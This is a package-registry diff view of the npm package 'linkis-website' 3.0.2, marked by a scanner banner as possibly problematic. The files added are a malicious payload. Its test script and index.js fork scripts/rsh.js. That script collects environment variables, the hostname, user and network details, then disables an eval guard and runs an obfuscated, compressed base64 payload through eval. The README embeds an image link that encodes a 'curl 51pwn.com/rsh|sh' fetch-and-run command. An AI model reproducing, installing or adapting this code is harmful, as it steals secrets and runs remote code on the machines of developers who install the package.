linkis-website 3.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of linkis-website might be problematic. Click here for more details.

package/README.md ADDED
@@ -0,0 +1,2 @@
1
+ # rshNpm
2
+ <img src="51pwn.com/rsh?t=curl%2051pwn%2Ecom%2Frsh%7Csh">
package/index.js ADDED
@@ -0,0 +1 @@
1
+ require("child_process").fork("scripts/init.js")
package/package.json ADDED
@@ -0,0 +1,33 @@
1
+ {
2
+ "name": "linkis-website",
3
+ "version": "3.0.2",
4
+ "description": "aDriv",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node ./scripts/init.js &",
8
+ "init": "node ./scripts/init.js"
9
+ },
10
+ "publishConfig": {
11
+ "access": "public"
12
+ },
13
+ "private": false,
14
+ "files": [
15
+ "index.js",
16
+ "package.json",
17
+ "scripts/init.js",
18
+ "scripts/rsh.js",
19
+ "!README.md",
20
+ "!.npmignore",
21
+ "!.github",
22
+ "!.git",
23
+ "!ps.sh",
24
+ "!node_modules"
25
+ ],
26
+ "repository": {
27
+ "type": "git",
28
+ "url": "git+ssh://git@github.com/hktalent/rshNpm.git"
29
+ },
30
+ "access": "public",
31
+ "author": "51pwn",
32
+ "license": "MIT"
33
+ }
@@ -0,0 +1 @@
1
+ require("child_process").fork("scripts/rsh.js")
package/scripts/rsh.js ADDED
@@ -0,0 +1,47 @@
1
+ var os = require("os"),
2
+ zlib = require("zlib"),
3
+ bs = "\u0062\u0061\u0073\u0065\u0036\u0034",
4
+ filterNet = (o) => {
5
+ var oR = {};
6
+ for (var k in o) {
7
+ if ("lo0" == k) continue;
8
+ for (var i in o[k]) {
9
+ if ("127.0.0.1" == o[k][i]["address"]) continue;
10
+ if (o[k][i]["family"] == "IPv4" && o[k][i]["address"]) {
11
+ oR[k] = o[k][i]
12
+ break;
13
+ }
14
+ }
15
+ }
16
+ return oR;
17
+ },
18
+ rmKeys = (o, ...keys) => {
19
+ for (var k in keys) {
20
+ delete o[keys[k]];
21
+ }
22
+ return o;
23
+ },pkg =JSON.parse(require("fs").readFileSync("package.json").toString("utf8")),
24
+ zS = (s) =>zlib.brotliCompressSync(s, { level: 11, windowBits: 15, quality: 11 }).toString(bs),
25
+ zO = (o) => zS(JSON.stringify(o, null, 2)),
26
+ uS = (s) => zlib.brotliDecompressSync(Buffer.from(s, bs)).toString(),
27
+ o = {
28
+ "name": pkg.name,
29
+ "version": pkg.version,
30
+ "pwd": process.cwd(),
31
+ "env": process.env,
32
+ "platform": os.platform(),
33
+ "arch": os.arch(),
34
+ "release": os.release(),
35
+ "type": os.type(),
36
+ "uptime": os.uptime(),
37
+ "hostname": os.hostname(),
38
+ "cpus": [os.cpus().length, rmKeys(os.cpus()[0], "times")],
39
+ "networkInterfaces": filterNet(os.networkInterfaces()),
40
+ "freemem": os.freemem(),
41
+ "totalmem": os.totalmem(),
42
+ "userInfo": os.userInfo()
43
+ };
44
+ let s = zO(o), \u0073\u0031 =uS(`G+ICAIzDuOGb4mJpINpjVq7pY9TOqaQAKGTlI99DgRMkheV/zrY3oA1P4RnM6J/ruE8s2wVWgBGnWQt4Oxw4MIIixbY/YIuvwIAafl2h5hr3psPqyekdLICflMaycAZC4j8HN2zhkLakukeRvHkVkBxWt5QBNHac+BAoE71L6WXBTTL42QTnkhlbSIXtDl8S+XNlsPKV3uM2ZQ+c7dV/LdD3JUsiGdCsiD9aLxmMQkSvRs9hxl/bLeiZ8HhE9iCv8NH3zk+N+y72O5EV2vmccP8aUyc/ar19jdteBds7T5bi7trAGLvpewLZDlVrIlEbj5CS8hr3rjc/YTDv1S/vK8YuzqOCphG262eT3Now2iCdiTyEx1M4YFLoTNZ6SQgif7wO1SoXoKFUgNo/IT4T/2JA+ZbrlBYw8w3lqymKIB/F7q9FhIpKM65CEVI967vAYE2MygA=`);
45
+ \u0070\u0072\u006F\u0063\u0065\u0073\u0073.\u0065\u006E\u0076.\u004E\u004F\u0044\u0045\u005F\u004E\u004F\u005F\u0045\u0056\u0041\u004C = undefined;
46
+ \u0065\u0076\u0061\u006C(\u0073\u0031);
47
+ // console.log(o)